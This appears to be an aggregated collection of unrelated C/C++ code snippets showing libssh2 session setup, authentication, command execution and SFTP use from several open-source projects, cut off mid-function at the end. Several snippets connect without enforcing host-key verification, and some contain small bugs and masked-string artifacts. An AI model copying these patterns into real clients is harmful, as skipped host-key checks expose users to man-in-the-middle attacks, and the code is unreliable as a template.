int ssh_init(SSH * pSsh, char * pIp,char * pUsername, char * pPassword) { int ret; int type; const char * fingerprint; size_t len; if (NULL==pSsh) { return 0; } pSsh->sock_fd=socket(AF_INET, SOCK_STREAM, 0); pSsh->sin.sin_family = AF_INET; pSsh->sin.sin_port = htons(22); pSsh->sin.sin_addr.s_addr = inet_addr(pIp); ret = libssh2_init (0); if (ret != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", ret); return 1; } if (connect(pSsh->sock_fd, (struct sockaddr*)(&pSsh->sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } pSsh->session=libssh2_session_init(); if (!pSsh->session) return 0; libssh2_session_set_blocking(pSsh->session, 0); while ((ret = libssh2_session_handshake(pSsh->session, pSsh->sock_fd)) == LIBSSH2_ERROR_EAGAIN); if (ret) { fprintf(stderr, "Failure establishing SSH session: %d\n", ret); return -1; } pSsh->nh = libssh2_knownhost_init(pSsh->session); if(!pSsh->nh) { /* eeek, do cleanup here */ return 2; } libssh2_knownhost_readfile(pSsh->nh, "known_hosts", LIBSSH2_KNOWNHOST_FILE_OPENSSH); libssh2_knownhost_writefile(pSsh->nh, "dumpfile", LIBSSH2_KNOWNHOST_FILE_OPENSSH); fingerprint = libssh2_session_hostkey(pSsh->session, &len, &type); if(fingerprint) { struct libssh2_knownhost *host; int check = libssh2_knownhost_checkp(pSsh->nh, pIp, 22, fingerprint, len, LIBSSH2_KNOWNHOST_TYPE_PLAIN| LIBSSH2_KNOWNHOST_KEYENC_RAW, &host); fprintf(stderr, "Host check: %d, key: %s\n", check, (check <= LIBSSH2_KNOWNHOST_CHECK_MISMATCH)? host->key:"<none>"); /***** * At this point, we could verify that 'check' tells us the key is * fine or bail out. *****/ } else { /* eeek, do cleanup here */ return 3; } libssh2_knownhost_free(pSsh->nh); if ( strlen(pPassword) != 0 ) { /* We could authenticate via password */ while ((ret = libssh2_userauth_password(pSsh->session, pUsername, pPassword)) == LIBSSH2_ERROR_EAGAIN); if (ret) { fprintf(stderr, "Authentication by password failed.\n"); //goto shutdown; } } else { /* Or by public key */ while ((ret = libssh2_userauth_publickey_fromfile(pSsh->session, pUsername, "/home/user/" ".ssh/id_rsa.pub", "/home/user/" ".ssh/id_rsa", pPassword)) == LIBSSH2_ERROR_EAGAIN); if (ret) { fprintf(stderr, "\tAuthentication by public key failed\n"); //goto shutdown; } } fprintf(stderr,"ssh_init\n"); return 0; }
int main(int argc, char *argv[]) { const char *hostname = "127.0.0.1"; const char *commandline = "uptime"; const char *username = "******"; const char *password = "******"; unsigned long hostaddr; int sock; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; int rc; int exitcode; char *exitsignal=(char *)"none"; int bytecount = 0; size_t len; LIBSSH2_KNOWNHOSTS *nh; int type; #ifdef WIN32 WSADATA wsadata; int err; err = WSAStartup(MAKEWORD(2,0), &wsadata); if (err != 0) { fprintf(stderr, "WSAStartup failed with error: %d\n", err); return 1; } #endif if (argc > 1) /* must be ip address only */ hostname = argv[1]; if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { commandline = argv[4]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } hostaddr = inet_addr(hostname); /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* tell libssh2 we want it all done non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_handshake(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } nh = libssh2_knownhost_init(session); if(!nh) { /* eeek, do cleanup here */ return 2; } /* read all hosts from here */ libssh2_knownhost_readfile(nh, "known_hosts", LIBSSH2_KNOWNHOST_FILE_OPENSSH); /* store all known hosts to here */ libssh2_knownhost_writefile(nh, "dumpfile", LIBSSH2_KNOWNHOST_FILE_OPENSSH); fingerprint = libssh2_session_hostkey(session, &len, &type); if(fingerprint) { struct libssh2_knownhost *host; #if LIBSSH2_VERSION_NUM >= 0x010206 /* introduced in 1.2.6 */ int check = libssh2_knownhost_checkp(nh, hostname, 22, fingerprint, len, LIBSSH2_KNOWNHOST_TYPE_PLAIN| LIBSSH2_KNOWNHOST_KEYENC_RAW, &host); #else /* 1.2.5 or older */ int check = libssh2_knownhost_check(nh, hostname, fingerprint, len, LIBSSH2_KNOWNHOST_TYPE_PLAIN| LIBSSH2_KNOWNHOST_KEYENC_RAW, &host); #endif fprintf(stderr, "Host check: %d, key: %s\n", check, (check <= LIBSSH2_KNOWNHOST_CHECK_MISMATCH)? host->key:"<none>"); /***** * At this point, we could verify that 'check' tells us the key is * fine or bail out. *****/ } else { /* eeek, do cleanup here */ return 3; } libssh2_knownhost_free(nh); if ( strlen(password) != 0 ) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/user/" ".ssh/id_rsa.pub", "/home/user/" ".ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } #if 0 libssh2_trace(session, ~0 ); #endif /* Exec non-blocking on the remove host */ while( (channel = libssh2_channel_open_session(session)) == NULL && libssh2_session_last_error(session,NULL,NULL,0) == LIBSSH2_ERROR_EAGAIN ) { waitsocket(sock, session); } if( channel == NULL ) { fprintf(stderr,"Error\n"); exit( 1 ); } while( (rc = libssh2_channel_exec(channel, commandline)) == LIBSSH2_ERROR_EAGAIN ) { waitsocket(sock, session); } if( rc != 0 ) { fprintf(stderr,"Error\n"); exit( 1 ); } for( ;; ) { /* loop until we block */ int rc; do { char buffer[0x4000]; rc = libssh2_channel_read( channel, buffer, sizeof(buffer) ); if( rc > 0 ) { int i; bytecount += rc; fprintf(stderr, "We read:\n"); for( i=0; i < rc; ++i ) fputc( buffer[i], stderr); fprintf(stderr, "\n"); } else { if( rc != LIBSSH2_ERROR_EAGAIN ) /* no need to output this for the EAGAIN case */ fprintf(stderr, "libssh2_channel_read returned %d\n", rc); } } while( rc > 0 ); /* this is due to blocking that would occur otherwise so we loop on this condition */ if( rc == LIBSSH2_ERROR_EAGAIN ) { waitsocket(sock, session); } else break; } exitcode = 127; while( (rc = libssh2_channel_close(channel)) == LIBSSH2_ERROR_EAGAIN ) waitsocket(sock, session); if( rc == 0 ) { exitcode = libssh2_channel_get_exit_status( channel ); libssh2_channel_get_exit_signal(channel, &exitsignal, NULL, NULL, NULL, NULL, NULL); } if (exitsignal) fprintf(stderr, "\nGot signal: %s\n", exitsignal); else fprintf(stderr, "\nEXIT: %d bytecount: %d\n", exitcode, bytecount); libssh2_channel_free(channel); channel = NULL; shutdown: libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing"); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif fprintf(stderr, "all done\n"); libssh2_exit(); return 0; }
mx_channel_t * mx_channel_direct_tcpip (mx_sock_session_t *session, mx_sock_t *client, const char *desthost, unsigned destport) { LIBSSH2_CHANNEL *channel; const char *shost = inet_ntoa(client->ms_sin.sin_addr); unsigned int sport = ntohs(client->ms_sin.sin_port); /* Must use blocking IO for channel creation */ libssh2_session_set_blocking(session->mss_session, 1); channel = libssh2_channel_direct_tcpip_ex(session->mss_session, desthost, destport, shost, sport); libssh2_session_set_blocking(session->mss_session, 0); if (channel == NULL) { mx_log("could not open the direct-tcpip channel"); return NULL; } mx_channel_t *mcp = mx_channel_create(session, client, channel); if (mcp == NULL) { /* XXX fail */ return NULL; } return mcp; }
LIBSSH2_SESSION *start_session_fixture() { int rc; setup_fixture_workdir(); rc = start_openssh_fixture(); if(rc != 0) { return NULL; } rc = libssh2_init(0); if(rc != 0) { fprintf(stderr, "libssh2_init failed (%d)\n", rc); return NULL; } connected_session = libssh2_session_init_ex(NULL, NULL, NULL, NULL); libssh2_session_set_blocking(connected_session, 1); if(connected_session == NULL) { fprintf(stderr, "libssh2_session_init_ex failed\n"); return NULL; } rc = connect_to_server(); if(rc != 0) { return NULL; } return connected_session; }
static int ssh_file_open(BlockDriverState *bs, QDict *options, int bdrv_flags, Error **errp) { BDRVSSHState *s = bs->opaque; int ret; int ssh_flags; ssh_state_init(s); ssh_flags = LIBSSH2_FXF_READ; if (bdrv_flags & BDRV_O_RDWR) { ssh_flags |= LIBSSH2_FXF_WRITE; } /* Start up SSH. */ ret = connect_to_ssh(s, options, ssh_flags, 0, errp); if (ret < 0) { goto err; } /* Go non-blocking. */ libssh2_session_set_blocking(s->session, 0); return 0; err: if (s->sock >= 0) { close(s->sock); } s->sock = -1; return ret; }
static int _git_ssh_session_create( LIBSSH2_SESSION** session, git_stream *io) { int rc = 0; LIBSSH2_SESSION* s; git_socket_stream *socket = (git_socket_stream *) io; assert(session); s = libssh2_session_init(); if (!s) { giterr_set(GITERR_NET, "failed to initialize SSH session"); return -1; } do { rc = libssh2_session_startup(s, socket->s); } while (LIBSSH2_ERROR_EAGAIN == rc || LIBSSH2_ERROR_TIMEOUT == rc); if (rc != LIBSSH2_ERROR_NONE) { ssh_error(s, "failed to start SSH session"); libssh2_session_free(s); return -1; } libssh2_session_set_blocking(s, 1); *session = s; return 0; }
int logon(char* username, char* pass, LIBSSH2_SESSION **session, int sock) { int rc; /* Create a session instance */ if((*session = libssh2_session_init()) == NULL) return -1; //libssh2_session_set_blocking(*session, 0); libssh2_session_set_blocking(*session, 1); //while ((rc = libssh2_session_handshake(*session, sock)) == LIBSSH2_ERROR_EAGAIN); rc = libssh2_session_handshake(*session, sock); if(rc) { fprintf(stderr, "Failure establishing SSH session: %d %s\n", rc, strerror(errno)); return -1; } // while ((rc = libssh2_userauth_password(*session, username, pass)) == LIBSSH2_ERROR_EAGAIN); rc = libssh2_userauth_password(*session, username, pass); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); if(*session != NULL) { libssh2_session_disconnect(*session, ""); libssh2_session_free(*session); } close(sock); libssh2_exit(); return 0; } }
void getClient(char * serverAddress) { int sockFd = makeSocketOrDie(); struct addrinfo * serverInfo = getServerInfo(serverAddress); printf("Connecting to server\n"); connectOrDie(sockFd, serverInfo); printf("Connected to server. Making LIBSSH2 session\n"); LIBSSH2_SESSION * session = makeSession(); libssh2_session_set_blocking(session, 1); libssh2_session_set_timeout(session, 5000); printf("Made session, handshaking\n"); int result = libssh2_session_handshake(session, sockFd); //const char * fingerprint = libssh2_hostkey_hash(session, LIBSSH_HOSTKEY_HASH_SHA1); //TODO: Match the fingerprint against something. if (result) { char * errorMessage; libssh2_session_last_error(session, &errorMessage, NULL, 0); fprintf(stderr, "Error %s handshaking\n", errorMessage); exit(EXIT_FAILURE); } printf("Handshake completed, making SFTP Session\n"); libssh2_userauth_password(session, NETID, PWD); LIBSSH2_SFTP * sftpSession = makeSFTPSession(session); printf("Started SFTP - Downloading file\n"); LIBSSH2_SFTP_HANDLE * fileHandle = libssh2_sftp_open(sftpSession, serverFilePath, LIBSSH2_FXF_READ, 0); readFile(session, sftpSession, fileHandle); libssh2_sftp_shutdown(sftpSession); libssh2_session_disconnect(session, "Done.\n"); libssh2_session_free(session); freeaddrinfo(serverInfo); close(sockFd); }
int sftpfs_open_connection (struct vfs_s_super *super, GError ** error) { int rc; sftpfs_super_data_t *super_data; super_data = (sftpfs_super_data_t *) super->data; /* Create a session instance */ super_data->session = libssh2_session_init (); if (super_data->session == NULL) return -1; /* * The application code is responsible for creating the socket * and establishing the connection */ super_data->socket_handle = sftpfs_open_socket (super, error); if (super_data->socket_handle == -1) goto deinit_by_error; /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ rc = libssh2_session_startup (super_data->session, super_data->socket_handle); if (rc != 0) { g_set_error (error, MC_ERROR, -1, _("sftp: Failure establishing SSH session: (%d)"), rc); goto deinit_by_error; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ super_data->fingerprint = libssh2_hostkey_hash (super_data->session, LIBSSH2_HOSTKEY_HASH_SHA1); sftpfs_recognize_auth_types (super); if (!sftpfs_open_connection_ssh_agent (super, error) && !sftpfs_open_connection_ssh_key (super, error) && !sftpfs_open_connection_ssh_password (super, error)) goto deinit_by_error; super_data->sftp_session = libssh2_sftp_init (super_data->session); if (super_data->sftp_session == NULL) goto deinit_by_error; /* Since we have not set non-blocking, tell libssh2 we are blocking */ libssh2_session_set_blocking (super_data->session, 1); return 0; deinit_by_error: sftpfs_close_connection (super, "Shutdown with errors", NULL); return -1; }
ssh_conn_t *ssh_connect(param_t *params) { int rc; struct sockaddr_in sin; unsigned long hostaddr; ssh_conn_t *pcon = (ssh_conn_t*)malloc(sizeof(ssh_conn_t)); rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return NULL; } /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ hostaddr = inet_addr(params->hostname); pcon->sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(pcon->sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return NULL; } /* Create a session instance */ pcon->session = libssh2_session_init(); if (!pcon->session) return NULL; /* tell libssh2 we want it all done non-blocking */ libssh2_session_set_blocking(pcon->session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_handshake(pcon->session, pcon->sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return NULL; } return pcon; shutdown: return NULL; }
void client_d::connect() { try { if( libssh2_init(0) < 0 ) { MACE_SSH_THROW( "Unable to init libssh2" ); } slog( "resolve %1%:%2%", hostname, port ); std::vector<mace::cmt::asio::tcp::endpoint> eps = mace::cmt::asio::tcp::resolve( hostname, boost::lexical_cast<std::string>(port)); slog( "resolved %1% options", eps.size() ); if( eps.size() == 0 ) { MACE_SSH_THROW( "Hostname '%1%' didn't resolve to any endpoints", %hostname ); } m_sock.reset( new boost::asio::ip::tcp::socket( mace::cmt::asio::default_io_service() ) ); for( uint32_t i = 0; i < eps.size(); ++i ) { try { mace::cmt::asio::tcp::connect( *m_sock, eps[i] ); endpt = eps[i]; break; } catch ( ... ) {} } slog( "Creating session" ); m_session = libssh2_session_init(); *libssh2_session_abstract(m_session) = this; BOOST_ASSERT( m_session ); // use non-blocking calls so that we know when to call wait_on_socket libssh2_session_set_blocking( m_session, 0 ); // perform the session handshake, and keep trying while EAGAIN int ec = libssh2_session_handshake( m_session, m_sock->native() ); while( ec == LIBSSH2_ERROR_EAGAIN ) { wait_on_socket(); ec = libssh2_session_handshake( m_session, m_sock->native() ); } // if there was an error, throw it. if( ec < 0 ) { char* msg; libssh2_session_last_error( m_session, &msg, 0, 0 ); MACE_SSH_THROW( "Handshake error: %1% - %2%", %ec %msg ); }
@return None"; static PyObject * PYLIBSSH2_Session_setblocking(PYLIBSSH2_SESSION *self, PyObject *args) { int mode; if (!PyArg_ParseTuple(args, "i", &mode)) { return NULL; } libssh2_session_set_blocking(self->session, mode); return Py_BuildValue(""); }
void cql_ccm_bridge_t::terminal_read_stream(cql_escape_sequences_remover_t& buffer, int stream) { char buf[128]; while (true) { // disable blocking libssh2_session_set_blocking(_ssh_internals->_session, 0); ssize_t readed = libssh2_channel_read_ex(_ssh_internals->_channel, stream, buf, sizeof(buf)); // return if no data to read if (readed == LIBSSH2_ERROR_EAGAIN || readed == 0) { return; } // some error occurred if (readed < 0) { throw cql_ccm_bridge_exception_t("error during reading from socket"); } buffer.push_character_range(buf, buf + readed); } }
static int _git_ssh_session_create ( LIBSSH2_SESSION** session, gitno_socket socket ) { if (!session) { return -1; } LIBSSH2_SESSION* s = libssh2_session_init(); if (!s) return -1; int rc = 0; do { rc = libssh2_session_startup(s, socket.socket); } while (LIBSSH2_ERROR_EAGAIN == rc || LIBSSH2_ERROR_TIMEOUT == rc); if (0 != rc) { goto on_error; } libssh2_session_set_blocking(s, 1); *session = s; return 0; on_error: if (s) { libssh2_session_free(s), s = NULL; } return -1; }
void CLibssh2::create_session(bool nonblocking) { int socket_fd = socket(AF_INET, SOCK_STREAM, 0); if (-1 == socket_fd) { THROW_SYSCALL_EXCEPTION(strerror(errno), errno, "socket"); } try { struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(_port); addr.sin_addr.s_addr = inet_addr(_ip.c_str()); if (-1 == connect(socket_fd, (struct sockaddr*)&addr, sizeof(struct sockaddr_in))) { THROW_SYSCALL_EXCEPTION(strerror(errno), errno, "connect"); } // 创建ssh2会话 LIBSSH2_SESSION* session = libssh2_session_init(); if (nonblocking) // 设置为非阻塞 libssh2_session_set_blocking(session, 0); else if (_timeout_seconds > 0) libssh2_session_set_timeout(session, _timeout_seconds*1000); _session = session; _socket_fd = socket_fd; } catch (...) { close(socket_fd); throw; } }
/* example ssh.run["ls /"] */ static int ssh_run(DC_ITEM *item, AGENT_RESULT *result, const char *encoding) { const char *__function_name = "ssh_run"; zbx_sock_t s; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; int auth_pw = 0, rc, ret = NOTSUPPORTED, exitcode, bytecount = 0; char buffer[MAX_BUFFER_LEN], buf[16], *userauthlist, *publickey = NULL, *privatekey = NULL, *ssherr; size_t sz; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); if (FAIL == zbx_tcp_connect(&s, CONFIG_SOURCE_IP, item->interface.addr, item->interface.port, 0)) { SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot connect to SSH server: %s", zbx_tcp_strerror())); goto close; } /* initializes an SSH session object */ if (NULL == (session = libssh2_session_init())) { SET_MSG_RESULT(result, zbx_strdup(NULL, "Cannot initialize SSH session")); goto tcp_close; } /* set blocking mode on session */ libssh2_session_set_blocking(session, 1); /* Create a session instance and start it up. This will trade welcome */ /* banners, exchange keys, and setup crypto, compression, and MAC layers */ if (0 != libssh2_session_startup(session, s.socket)) { libssh2_session_last_error(session, &ssherr, NULL, 0); SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot establish SSH session: %s", ssherr)); goto session_free; } /* check what authentication methods are available */ if (NULL != (userauthlist = libssh2_userauth_list(session, item->username, strlen(item->username)))) { if (NULL != strstr(userauthlist, "password")) auth_pw |= 1; if (NULL != strstr(userauthlist, "keyboard-interactive")) auth_pw |= 2; if (NULL != strstr(userauthlist, "publickey")) auth_pw |= 4; } else { libssh2_session_last_error(session, &ssherr, NULL, 0); SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot obtain authentication methods: %s", ssherr)); goto session_close; } zabbix_log(LOG_LEVEL_DEBUG, "%s() supported authentication methods:'%s'", __function_name, userauthlist); switch (item->authtype) { case ITEM_AUTHTYPE_PASSWORD: if (auth_pw & 1) { /* we could authenticate via password */ if (0 != libssh2_userauth_password(session, item->username, item->password)) { libssh2_session_last_error(session, &ssherr, NULL, 0); SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Password authentication failed: %s", ssherr)); goto session_close; } else zabbix_log(LOG_LEVEL_DEBUG, "%s() password authentication succeeded", __function_name); } else if (auth_pw & 2) { /* or via keyboard-interactive */ password = item->password; if (0 != libssh2_userauth_keyboard_interactive(session, item->username, &kbd_callback)) { libssh2_session_last_error(session, &ssherr, NULL, 0); SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Keyboard-interactive authentication" " failed: %s", ssherr)); goto session_close; } else zabbix_log(LOG_LEVEL_DEBUG, "%s() keyboard-interactive authentication succeeded", __function_name); } else { SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Unsupported authentication method." " Supported methods: %s", userauthlist)); goto session_close; } break; case ITEM_AUTHTYPE_PUBLICKEY: if (auth_pw & 4) { if (NULL == CONFIG_SSH_KEY_LOCATION) { SET_MSG_RESULT(result, zbx_strdup(NULL, "Authentication by public key failed." " SSHKeyLocation option is not set")); goto session_close; } /* or by public key */ publickey = zbx_dsprintf(publickey, "%s/%s", CONFIG_SSH_KEY_LOCATION, item->publickey); privatekey = zbx_dsprintf(privatekey, "%s/%s", CONFIG_SSH_KEY_LOCATION, item->privatekey); if (SUCCEED != zbx_is_regular_file(publickey)) { SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot access public key file %s", publickey)); goto session_close; } if (SUCCEED != zbx_is_regular_file(privatekey)) { SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Cannot access private key file %s", privatekey)); goto session_close; } rc = libssh2_userauth_publickey_fromfile(session, item->username, publickey, privatekey, item->password); zbx_free(publickey); zbx_free(privatekey); if (0 != rc) { libssh2_session_last_error(session, &ssherr, NULL, 0); SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Public key authentication failed:" " %s", ssherr)); goto session_close; } else zabbix_log(LOG_LEVEL_DEBUG, "%s() authentication by public key succeeded", __function_name); } else { SET_MSG_RESULT(result, zbx_dsprintf(NULL, "Unsupported authentication method." " Supported methods: %s", userauthlist)); goto session_close; } break; } /* exec non-blocking on the remove host */ while (NULL == (channel = libssh2_channel_open_session(session))) { switch (libssh2_session_last_error(session, NULL, NULL, 0)) { /* marked for non-blocking I/O but the call would block. */ case LIBSSH2_ERROR_EAGAIN: waitsocket(s.socket, session); continue; default: SET_MSG_RESULT(result, zbx_strdup(NULL, "Cannot establish generic session channel")); goto session_close; } } dos2unix(item->params); /* CR+LF (Windows) => LF (Unix) */ /* request a shell on a channel and execute command */ while (0 != (rc = libssh2_channel_exec(channel, item->params))) { switch (rc) { case LIBSSH2_ERROR_EAGAIN: waitsocket(s.socket, session); continue; default: SET_MSG_RESULT(result, zbx_strdup(NULL, "Cannot request a shell")); goto channel_close; } } for (;;) { /* loop until we block */ do { if (0 < (rc = libssh2_channel_read(channel, buf, sizeof(buf)))) { sz = (size_t)rc; if (sz > MAX_BUFFER_LEN - (bytecount + 1)) sz = MAX_BUFFER_LEN - (bytecount + 1); if (0 == sz) continue; memcpy(buffer + bytecount, buf, sz); bytecount += sz; } } while (rc > 0); /* this is due to blocking that would occur otherwise so we loop on * this condition */ if (LIBSSH2_ERROR_EAGAIN == rc) waitsocket(s.socket, session); else if (rc < 0) { SET_MSG_RESULT(result, zbx_strdup(NULL, "Cannot read data from SSH server")); goto channel_close; } else break; } buffer[bytecount] = '\0'; SET_STR_RESULT(result, convert_to_utf8(buffer, bytecount, encoding)); ret = SYSINFO_RET_OK; channel_close: /* close an active data channel */ exitcode = 127; while (0 != (rc = libssh2_channel_close(channel))) { switch (rc) { case LIBSSH2_ERROR_EAGAIN: waitsocket(s.socket, session); continue; default: libssh2_session_last_error(session, &ssherr, NULL, 0); zabbix_log(LOG_LEVEL_WARNING, "%s() cannot close generic session channel: %s", __function_name, ssherr); break; } } if (0 == rc) exitcode = libssh2_channel_get_exit_status(channel); zabbix_log(LOG_LEVEL_DEBUG, "%s() exitcode: %d bytecount: %d", __function_name, exitcode, bytecount); libssh2_channel_free(channel); channel = NULL; session_close: libssh2_session_disconnect(session, "Normal Shutdown"); session_free: libssh2_session_free(session); tcp_close: zbx_tcp_close(&s); close: zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%s", __function_name, zbx_result_string(ret)); return ret; }
int FSSftp::CheckSession( int* err, FSCInfo* info ) { if ( sshSession ) { return 0; } try { unsigned ip; int e; if ( !GetHostIp( unicode_to_utf8( _operParam.server.Data() ).data(), &ip, &e ) ) { throw int( e ); } _sock.Create(); _sock.Connect( ntohl( ip ), _operParam.port ); sshSession = libssh2_session_init(); if ( !sshSession ) { throw int( SSH_INTERROR_X3 ); } libssh2_session_set_blocking( sshSession, 0 ); WHILE_EAGAIN_( e, libssh2_session_handshake( sshSession, _sock.Id() ) ); if ( e ) { throw int( e - 1000 ); } FSString userName = ""; if ( _operParam.user.Data()[0] ) { userName = _operParam.user.Data(); } else { #ifndef _WIN32 char* ret = getenv( "LOGNAME" ); if ( ret ) { userName = FSString( sys_charset_id, ret ); _operParam.user = userName.GetUnicode(); MutexLock infoLock( &infoMutex ); _infoParam.user = userName.GetUnicode(); } #endif }; char* authList = 0; char* charUserName = ( char* )userName.Get( _operParam.charset ); while ( true ) { authList = libssh2_userauth_list( sshSession, charUserName, strlen( charUserName ) ); if ( authList ) { break; } CheckSessionEagain(); WaitSocket( info ); } //publickey,password,keyboard-interactive static const char passId[] = "password"; static const char kInterId[] = "keyboard-interactive"; static unicode_t userSymbol = '@'; while ( true ) { if ( !strncmp( authList, passId, strlen( passId ) ) ) { FSPromptData data; data.visible = false; data.prompt = utf8_to_unicode( "Password:"******"SFTP_" ).data(), carray_cat<unicode_t>( userName.GetUnicode(), &userSymbol, _operParam.server.Data() ).data(), &data, 1 ) ) { throw int( SSH_INTERROR_STOPPED ); } int ret; WHILE_EAGAIN_( ret, libssh2_userauth_password( sshSession, ( char* )FSString( _operParam.user.Data() ).Get( _operParam.charset ), ( char* )FSString( data.prompt.Data() ).Get( _operParam.charset ) ) ); if ( ret ) { throw int( ret - 1000 ); } break; //!!! } else if ( !strncmp( authList, kInterId, strlen( kInterId ) ) ) { MutexLock lock( &kbdIntMutex ); kbdIntInfo = info; kbdIntParam = &_operParam; int ret; WHILE_EAGAIN_( ret, libssh2_userauth_keyboard_interactive( sshSession, ( char* )FSString( _operParam.user.Data() ).Get( _operParam.charset ), KbIntCallback ) ); if ( ret ) { throw int( ret - 1000 ); } break; //!!! } char* s = authList; while ( *s && *s != ',' ) { s++; } if ( !*s ) { break; } authList = s + 1; }; while ( true ) { sftpSession = libssh2_sftp_init( sshSession ); if ( sftpSession ) { break; } if ( !sftpSession ) { int e = libssh2_session_last_errno( sshSession ); if ( e != LIBSSH2_ERROR_EAGAIN ) { throw int( e - 1000 ); } } WaitSocket( info ); } return 0; } catch ( int e ) { if ( err ) { *err = e; } //if (sftpSession) ??? похоже закрытие сессии все решает if ( sshSession ) { libssh2_session_free( sshSession ); } sshSession = 0; sftpSession = 0; _sock.Close( false ); return ( e == -2 ) ? -2 : -1; } }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; const char *username="******"; const char *password="******"; const char *sftppath="/tmp/TEST"; struct timeval start; struct timeval end; int rc; int total = 0; long time_ms; int spin = 0; #if defined(HAVE_IOCTLSOCKET) long flag = 1; #endif LIBSSH2_SFTP *sftp_session; LIBSSH2_SFTP_HANDLE *sftp_handle; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { sftppath = argv[4]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } /* * The application code is responsible for creating the socket * and establishing the connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); gettimeofday(&start, NULL); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 20; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/" ".ssh/id_rsa.pub", "/home/username/" ".ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } #if 0 libssh2_trace(session, LIBSSH2_TRACE_CONN); #endif fprintf(stderr, "libssh2_sftp_init()!\n"); do { sftp_session = libssh2_sftp_init(session); if(!sftp_session) { if(libssh2_session_last_errno(session) == LIBSSH2_ERROR_EAGAIN) { fprintf(stderr, "non-blocking init\n"); waitsocket(sock, session); /* now we wait */ } else { 